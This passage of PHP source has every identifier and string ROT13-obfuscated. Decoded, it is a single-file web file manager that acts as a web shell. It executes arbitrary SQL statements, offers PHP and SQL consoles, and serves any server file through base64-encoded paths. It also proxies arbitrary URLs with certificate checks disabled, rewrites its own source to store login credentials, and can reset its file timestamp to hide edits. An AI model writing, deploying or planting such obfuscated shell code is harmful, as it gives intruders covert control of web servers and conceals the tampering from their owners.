    $fdyNeenl = rkcybqr($qryvzvgre,$fdySvyr);
	
    //Cebprff gur fdy svyr ol fgngrzragf
    sbernpu ($fdyNeenl nf $fgzg) {
        vs (fgeyra($fgzg)>3){
			$erfhyg = $zlfdyqo->dhrel($fgzg);
				vs (!$erfhyg){
					$fdyReebePbqr = zlfdyv_reeab($zlfdyqo->pbaarpgvba);
					$fdyReebeGrkg = zlfdyv_reebe($zlfdyqo->pbaarpgvba);
					$fdyFgzg      = $fgzg;
					oernx;
           	     }
           	  }
           }
vs (rzcgl($fdyReebePbqr)) erghea __('Fhpprff').' — '.$fdySvyrGbRkrphgr;
ryfr erghea $fdyReebeGrkg.'<oe/>'.$fgzg;
}

shapgvba sz_vzt_yvax($svyranzr){
	erghea './'.onfranzr(__SVYR__).'?vzt='.onfr64_rapbqr($svyranzr);
}

shapgvba sz_ubzr_fglyr(){
	erghea '
vachg, vachg.sz_vachg {
	grkg-vaqrag: 2ck;
}

vachg, grkgnern, fryrpg, vachg.sz_vachg {
	pbybe: oynpx;
	sbag: abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	obeqre-pbybe: oynpx;
	onpxtebhaq-pbybe: #SPSPSP abar !vzcbegnag;
	obeqre-enqvhf: 0;
	cnqqvat: 2ck;
}

vachg.sz_vachg {
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.ubzr {
	onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNtEDGSES/s396Bwb////gG02me+sj66Egw432GRc3ZKR2QNe3GLc1l4zgQj2/7OZ/7OBdIcp/8y31wpdd6rajpUO2Gtv5wtdIcoSien2aONI/Cm82F0wak0J3GHxdFtv4rUu4Gfer4jbfm026hCwmTLq6Hf3laNlqHON5Xy3sz5rdMnJ7BQtv2It+Cw4hL+RjYz5oL9H//7wsYgP+gBX3wpz/71h2wLb1HLu5nWy/frP3wRz12xzWeVN1wZz/9nH4Yu0r01OyVnR///quZqP7VN//sGM2p3ZJ6aA30js95Iq4WqKbKIbf8aR4rsA/+63VWtFaLuy7S4pfKg89TDHjY+/wy1p41Nd+so2tzgV1eXn2P4xWnVN3wLeyGj5gw423wLa3pKR1mDbkZUOc1yM3Qtzdvxf/+zpwYX83wLxlzZI3GLx//UZ+h7Juzge0bqGcnBwsJWseUct/8Of/7gJ/7Ir+4H52QZz3ZYOa4dYtAIZ6ZmO3yRsyVhY/+wN///20YBmwKk8/7yoJcWT2P8x3GbfWXZN1ljwbcBE1mLc5Qfcvnl+lXAudXFx8AJ6/swaf7Bm2gaMhm887o+J3nEL/+zf4ePR3Gbg7I85oXkwhRN3j45Iu5hud6nz4pSktMMJ/9dVhjtXl0fJ+hwG4GDagm423P8v3mHw/+Xj/n5q6HZkhY6jmQRe////pdWDsNNNNXk0Hx5G////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////NNJISoRNNNNMqRILqSAiMaE3LKWyNRSxo2WyVRygLJqyHzIuMUyklJH8NNNN2HyRDIDbH2ALwDLLfNvR8H9LmQLwIcTMEkZvRPvgZeIMibZeGyD2RFEDW2SIjvaLozdGHYbbuaR1t1nXTF/sAZgx40lM9XIYDutLxhL7AkDiKlUISAaXmE69dckOCZrm0RGNDlGHiFbtnVSnCpAdI/Z5qun2Ey2Gvzo6M+DOQL1KA/Foh8kSYT3rYQsy2HNOwvyB1b012M3rx1yMIVJNNzHGX6Y0f3cK+ww6chM2NjJHiOEncufjZqHhwPvjQjn5IRqCV7laHyp7i1dLHEYdhs42um45POCQgjNPez+EQpkWLNNNNNOWEH5RexWttt==");
	onpxtebhaq-ercrng: ab-ercrng;
}';
}

shapgvba sz_pbasvt_purpxobk_ebj($anzr,$inyhr) {
	tybony $sz_pbasvt;
	erghea '<ge><gq pynff="ebj1"><vachg vq="sz_pbasvt_'.$inyhr.'" anzr="sz_pbasvt['.$inyhr.']" inyhr="1" '.(rzcgl($sz_pbasvt[$inyhr])?'':'purpxrq="gehr"').' glcr="purpxobk"></gq><gq pynff="ebj2 jubyr"><ynory sbe="sz_pbasvt_'.$inyhr.'">'.$anzr.'</gq></ge>';
}

shapgvba sz_cebgbpby() {
	vs (vffrg($_FREIRE['UGGC_FPURZR'])) erghea $_FREIRE['UGGC_FPURZR'].'://';
	vs (vffrg($_FREIRE['UGGCF']) && $_FREIRE['UGGCF'] == 'ba') erghea 'uggcf://';
	vs (vffrg($_FREIRE['FREIRE_CBEG']) && $_FREIRE['FREIRE_CBEG'] == 443) erghea 'uggcf://';
	vs (vffrg($_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB']) && $_FREIRE['UGGC_K_SBEJNEQRQ_CEBGB'] == 'uggcf') erghea 'uggcf://';
	erghea 'uggc://';
}

shapgvba sz_fvgr_hey() {
	erghea sz_cebgbpby().$_FREIRE['UGGC_UBFG'];
}

shapgvba sz_hey($shyy=snyfr) {
	$ubfg=$shyy?sz_fvgr_hey():'.';
	erghea $ubfg.'/'.onfranzr(__SVYR__);
}

shapgvba sz_ubzr($shyy=snyfr){
	erghea '&aofc;<n uers="'.sz_hey($shyy).'" gvgyr="'.__('Ubzr').'"><fcna pynff="ubzr">&aofc;&aofc;&aofc;&aofc;</fcna></n>';
}

shapgvba sz_eha_vachg($yat) {
	tybony $sz_pbasvt;
	$erghea = !rzcgl($sz_pbasvt['ranoyr_'.$yat.'_pbafbyr']) ? 
	'
				<sbez  zrgubq="cbfg" npgvba="'.sz_hey().'" fglyr="qvfcynl:vayvar">
				<vachg glcr="fhozvg" anzr="'.$yat.'eha" inyhr="'.fgegbhccre($yat).' '.__('Pbafbyr').'">
				</sbez>
' : '';
	erghea $erghea;
}

shapgvba sz_hey_cebkl($zngpurf) {
	$yvax = fge_ercynpr('&nzc;','&',$zngpurf[2]);
	$hey = vffrg($_TRG['hey'])?$_TRG['hey']:'';
	$cnefr_hey = cnefr_hey($hey);
	$ubfg = $cnefr_hey['fpurzr'].'://'.$cnefr_hey['ubfg'].'/';
	vs (fhofge($yvax,0,2)=='//') {
		$yvax = fhofge_ercynpr($yvax,sz_cebgbpby(),0,2);
	} ryfrvs (fhofge($yvax,0,1)=='/') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,1);	
	} ryfrvs (fhofge($yvax,0,2)=='./') {
		$yvax = fhofge_ercynpr($yvax,$ubfg,0,2);	
	} ryfrvs (fhofge($yvax,0,4)=='uggc') {
		//nyyrf znpura jhaqrefpuba
	} ryfr {
		$yvax = $ubfg.$yvax;
	} 
	vs ($zngpurf[1]=='uers' && !fgeevcbf($yvax, 'pff')) {
		$onfr = sz_fvgr_hey().'/'.onfranzr(__SVYR__);
		$onfrd = $onfr.'?cebkl=gehr&hey=';
		$yvax = $onfrd.heyrapbqr($yvax);
	} ryfrvs (fgeevcbf($yvax, 'pff')){
		//как-то тоже подменять надо
	}
	erghea $zngpurf[1].'="'.$yvax.'"';
}
 
shapgvba sz_gcy_sbez($yat_gcy) {
	tybony ${$yat_gcy.'_grzcyngrf'};
	$gcy_nee = wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr);
	$fge = '';
	sbernpu ($gcy_nee nf $xgcy=>$igcy) {
		$fge .= '<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_anzr[]" inyhr="'.$xgcy.'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_inyhr[]"  pbyf="55" ebjf="5" pynff="grkgnern_vachg">'.$igcy.'</grkgnern> <vachg anzr="qry_'.enaq().'" glcr="ohggba" baPyvpx="guvf.cneragAbqr.cneragAbqr.erzbir();" inyhr="'.__('Qryrgr').'"/></gq></ge>';
	}
erghea '
<gnoyr>
<ge><gu pbyfcna="2">'.fgegbhccre($yat_gcy).' '.__('grzcyngrf').' '.sz_eha_vachg($yat_gcy).'</gu></ge>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1">'.__('Anzr').'</gq><gq pynff="ebj2 jubyr">'.__('Inyhr').'</gq></ge>
'.$fge.'
<ge><gq pbyfcna="2" pynff="ebj3"><vachg anzr="erf" glcr="ohggba" baPyvpx="qbphzrag.ybpngvba.uers = \''.sz_hey().'?sz_frggvatf=gehr\';" inyhr="'.__('Erfrg').'"/> <vachg glcr="fhozvg" inyhr="'.__('Fnir').'" ></gq></ge>
</sbez>
<sbez zrgubq="cbfg" npgvba="">
<vachg glcr="uvqqra" inyhr="'.$yat_gcy.'" anzr="gcy_rqvgrq">
<ge><gq pynff="ebj1"><vachg anzr="'.$yat_gcy.'_arj_anzr" inyhr="" cynprubyqre="'.__('Arj').' '.__('Anzr').'"></gq><gq pynff="ebj2 jubyr"><grkgnern anzr="'.$yat_gcy.'_arj_inyhr"  pbyf="55" ebjf="5" pynff="grkgnern_vachg" cynprubyqre="'.__('Arj').' '.__('Inyhr').'"></grkgnern></gq></ge>
<ge><gq pbyfcna="2" pynff="ebj3"><vachg glcr="fhozvg" inyhr="'.__('Nqq').'" ></gq></ge>
</sbez>
</gnoyr>
';
}

shapgvba svaq_grkg_va_svyrf($qve, $znfx, $grkg) {
    $erfhygf = neenl();
    vs ($unaqyr = bcraqve($qve)) {
        juvyr (snyfr !== ($ragel = ernqqve($unaqyr))) {
            vs ($ragel != "." && $ragel != "..") {
                $cngu = $qve . "/" . $ragel;
                vs (vf_qve($cngu)) {
                    $erfhygf = neenl_zretr($erfhygf, svaq_grkg_va_svyrf($cngu, $znfx, $grkg));
                } ryfr {
                    vs (sazngpu($znfx, $ragel)) {
                        $pbagragf = svyr_trg_pbagragf($cngu);
                        vs (fgecbf($pbagragf, $grkg) !== snyfr) {
                            $erfhygf[] = fge_ercynpr('//', '/', $cngu);
                        }
                    }
                }
            }
        }
        pybfrqve($unaqyr);
    }
    erghea $erfhygf;
}


/* Raq Shapgvbaf */

// nhgubevmngvba
vs ($nhgu['nhgubevmr']) {
	vs (vffrg($_CBFG['ybtva']) && vffrg($_CBFG['cnffjbeq'])){
		vs (($_CBFG['ybtva']==$nhgu['ybtva']) && ($_CBFG['cnffjbeq']==$nhgu['cnffjbeq'])) {
			frgpbbxvr($nhgu['pbbxvr_anzr'], $nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
			$_PBBXVR[$nhgu['pbbxvr_anzr']]=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']);
		}
	}
	vs (!vffrg($_PBBXVR[$nhgu['pbbxvr_anzr']]) BE ($_PBBXVR[$nhgu['pbbxvr_anzr']]!=$nhgu['ybtva'].'|'.zq5($nhgu['cnffjbeq']))) {
		rpub '
<!qbpglcr ugzy>
<ugzy>
<urnq>
<zrgn punefrg="hgs-8" />
<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
<gvgyr>'.__('Svyr znantrek').'</gvgyr>
</urnq>
<obql>
<sbez npgvba="" zrgubq="cbfg">
'.__('Ybtva').' <vachg anzr="ybtva" glcr="grkg">&aofc;&aofc;&aofc;
'.__('Cnffjbeq').' <vachg anzr="cnffjbeq" glcr="cnffjbeq">&aofc;&aofc;&aofc;
<vachg glcr="fhozvg" inyhr="'.__('Ragre').'" pynff="sz_vachg">
</sbez>
'.sz_ynat_sbez($ynathntr).'
</obql>
</ugzy>
';  
qvr();
	}
	vs (vffrg($_CBFG['dhvg'])) {
		hafrg($_PBBXVR[$nhgu['pbbxvr_anzr']]);
		frgpbbxvr($nhgu['pbbxvr_anzr'], '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_fvgr_hey().$_FREIRE['ERDHRFG_HEV']);
	}
}

// Punatr pbasvt
vs (vffrg($_TRG['sz_frggvatf'])) {
	vs (vffrg($_TRG['sz_pbasvt_qryrgr'])) { 
		hafrg($_PBBXVR['sz_pbasvt']);
		frgpbbxvr('sz_pbasvt', '', gvzr() - (86400 * $nhgu['qnlf_nhgubevmngvba']));
		urnqre('Ybpngvba: '.sz_hey().'?sz_frggvatf=gehr');
		rkvg(0);
	}	ryfrvs (vffrg($_CBFG['sz_pbasvt'])) { 
		$sz_pbasvt = $_CBFG['sz_pbasvt'];
		frgpbbxvr('sz_pbasvt', frevnyvmr($sz_pbasvt), gvzr() + (86400 * $nhgu['qnlf_nhgubevmngvba']));
		$_PBBXVR['sz_pbasvt'] = frevnyvmr($sz_pbasvt);
		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
